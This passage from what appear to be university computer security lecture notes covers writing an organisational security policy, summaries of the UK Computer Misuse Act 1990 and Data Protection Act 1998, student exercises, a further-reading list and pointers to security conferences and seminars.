Identify vulnerabilities, threats and risk priorities

Identify legal and contractual requirements

Step 2: Work out a suitable security policy
The security requirements identified can be complex and may have to be
abstracted first into a high-level security policy, a set of rules that
clarifies which are or are not authorised, required, and prohibited
activities, states and information flows.

Security policy models are techniques for the precise and even formal

definition of such protection goals. They can describe both automatically

enforced policies (e.g., a mandatory access control configuration in an

operating system, a policy description language for a database management

system, etc.) and procedures for employees (e.g., segregation of duties).
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Step 3: Security policy document
Once a good understanding exists of what exactly security means for an
organisation and what needs to be protected or enforced, the high-level
security policy should be documented as a reference for anyone involved
in implementing controls. It should clearly lay out the overall objectives,
principles and the underlying threat model that are to guide the choice of
mechanisms in the next step.

Step 4: Selection and implementation of controls
Issues addressed in a typical low-level organisational security policy:

General (affecting everyone) and specific responsibilities for security

Names manager who “owns” the overall policy and is in charge of its
continued enforcement, maintenance, review, and evaluation of
effectiveness

Names individual managers who “own” individual information assets and
are responsible for their day-to-day security

Reporting responsibilities for security incidents, vulnerabilities, software
malfunctions

Mechanisms for learning from incidents
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Incentives, disciplinary process, consequences of policy violations

User training, documentation and revision of procedures

Personnel security (depending on sensitivity of job)
Background checks, supervision, confidentiality agreement

Regulation of third-party access

Physical security
Definition of security perimeters, locating facilities to minimise traffic across perimeters,
alarmed fire doors, physical barriers that penetrate false floors/ceilings, entrance controls,
handling of visitors and public access, visible identification, responsibility to challenge
unescorted strangers, location of backup equipment at safe distance, prohibition of recording
equipment, redundant power supplies, access to cabling, authorisation procedure for removal
of property, clear desk/screen policy, etc.

Segregation of duties
Avoid that a single person can abuse authority without detection (e.g., different people must
raise purchase order and confirm delivery of goods, croupier vs. cashier in casino)

Audit trails
What activities are logged, how are log files protected from manipulation

Separation of development and operational facilities

Protection against unauthorised and malicious software
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Organising backup and rehearsing restoration

File/document access control, sensitivity labeling of documents and media

Disposal of media
Zeroise, degauss, reformat, or shred and destroy storage media, paper, carbon paper, printer
ribbons, etc. before discarding it.

Network and software configuration management

Line and file encryption, authentication, key and password management

Duress alarms, terminal timeouts, clock synchronisation, . . .

For more detailed check lists and guidelines for writing informal security policy
documents along these lines, see for example

British Standard 7799 “Code of practice for information security
management”

German Information Security Agency’s “IT Baseline Protection Manual”
http://www.bsi.bund.de/english/gshb/manual/

US DoD National Computer Security Center Rainbow Series, for military
policy guidelines
http://en.wikipedia.org/wiki/Rainbow_Series
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UK Computer Misuse Act 1990

Knowingly causing a computer to perform a function with the intent
to access without authorisation any program or data held on it ⇒ up
to 6 months in prison and/or a fine

Doing so to further a more serious crime
⇒ up to 5 years in prison and/or a fine

Knowingly causing an unauthorised modification of the contents of
any computer to impair its operation or hinder access to its
programs or data ⇒ up to 5 years in prison and/or a fine

The intent does not have to be directed against any particular computer,
program or data. In other words, starting automated and self-replicating
tools (viruses, worms, etc.) that randomly pick where they attack is
covered by the Act as well. Denial-of-service attacks in the form of
overloading public services are not yet covered explicitly.
http://www.hmso.gov.uk/acts/acts1990/Ukpga_19900018_en_1.htm
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UK Data Protection Act 1998

Anyone processing personal data must comply with the eight principles of
data protection, which require that data must be

1 fairly and lawfully processed
Person’s consent or organisation’s legitimate interest needed, no deception about purpose,
sensitive data (ethnic origin, political opinions, religion, trade union membership, health, sex
life, offences) may only be processed with consent or for medical research or equal
opportunity monitoring, etc.

2 processed for limited purposes
In general, personal data can’t be used without consent for purposes other than those for
which it was originally collected.

3 adequate, relevant and not excessive

4 accurate

5 not kept longer than necessary

6 processed in accordance with the data subject’s rights
Persons have the right to access data about them, unless this would breach another person’s
privacy, and can request that inaccurate data is corrected.

7 secure

8 not transferred to countries without adequate protection
This means, no transfer outside the European Free Trade Area. Special “safe harbour”
contract arrangements with data controllers in the US are possible.
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Some terminology:

“Personal data” is any data that relates to a living identifiable individual
(“data subject”), both digitally stored and on paper.

A “data controller” is the person or organisation that controls the
purpose and way in which personal data is processed.

http://www.hmso.gov.uk/acts/acts1998/19980029.htm
http://www.ico.gov.uk/
http://www.admin.cam.ac.uk/univ/dpa/
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Exercise 37 Write a list of all computers that could have directly or indirectly
caused you significant inconvenience if someone had illicitly manipulated them
with hostile intentions. How many computers do you estimate you might have
forgotten?

Exercise 38 What would a security analysis for your bicycle look like? What
assets does your bicycle provide to you, and what vulnerabilities and threats to
you and others do they create? What other risks and requirements could you
face as its owner and user?

Exercise 39 Suppose you are computerising Britain’s medical records, and
building a distributed database of all GP and hospital records, as well as all
drugs prescribed. What would the main security requirements be?

Exercise 40 Describe some of the threats posed by the battlefield capture of a
fighter aircraft. As its designer, what precautions would you take?

Exercise 41 Outline a possible security analysis and policy for a university
department with regard to how exam questions are prepared by lecturers.
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Further reading I

Bruce Schneier: Applied Cryptography. Wiley, 1995
Older, very popular, comprehensive treatment of cryptographic algorithms and protocols,
easy to read. Lacks some more recent topics (e.g., AES).

Douglas Stinson: Cryptography – Theory and Practice. 3rd ed.,
CRC Press, 2005
Good recent cryptography textbook, covers some of the underlying mathematical theory
better than Schneier.

Ross Anderson: Security Engineering. 2nd ed., Wiley, 2008
Comprehensive treatment of many computer security concepts, easy to read. Recommended
for Security II.

Garfinkel, Spafford: Practical Unix and Internet Security, O’Reilly,
1996

Cheswick et al.: Firewalls and Internet security. Addison-Wesley,
2003.
Both decent practical introductions aimed at system administrators.

Graff, van Wyk: Secure Coding: Principles & Practices, O’Reilly,
2003.
Introduction to security for programmers. Compact, less than 200 pages.
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Further reading II

Michael Howard, David C. LeBlanc: Writing Secure Code. 2nd ed,
Microsoft Press, 2002, ISBN 0735617228.
More comprehensive programmer’s guide to security.

Menezes, van Oorschot, Vanstone: Handbook of Applied
Cryptography. CRC Press, 1996,
http://www.cacr.math.uwaterloo.ca/hac/
Comprehensive summary of modern cryptography, valuable reference for further work in this
field.

Neal Koblitz: A Course in Number Theory and Cryptography, 2nd
edition, Springer Verlag, 1994

David Kahn: The Codebreakers. Scribner, 1996
Very detailed history of cryptology from prehistory to World War II.

165

http://www.cacr.math.uwaterloo.ca/hac/


Research

Most of the seminal papers in the field are published in a few key
conferences, for example:

IEEE Symposium on Security and Privacy

ACM Conference on Computer and Communications Security (CCS)

Advances in Cryptology (CRYPTO, EUROCRYPT, ASIACRYPT)

USENIX Security Symposium

European Symposium on Research in Computer Security (ESORICS)

Annual Network and Distributed System Security Symposium (NDSS)

If you consider doing a PhD in security, browsing through their
proceedings for the past few years might lead to useful ideas and
references for writing a research proposal. Many of the proceedings are in
the library or can be freely accessed online via the links on:

http://www.cl.cam.ac.uk/research/security/conferences/
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CL Security Group seminars and meetings

Security researchers from the Computer Laboratory and Microsoft
Research meet every Friday at 16:00 for discussions and brief
presentations.

In the Security Seminar on many Tuesdays during term at 16:15, guest
speakers and local researchers present recent work and topics of current
interest. You are welcome to join.

http://www.cl.cam.ac.uk/research/security/
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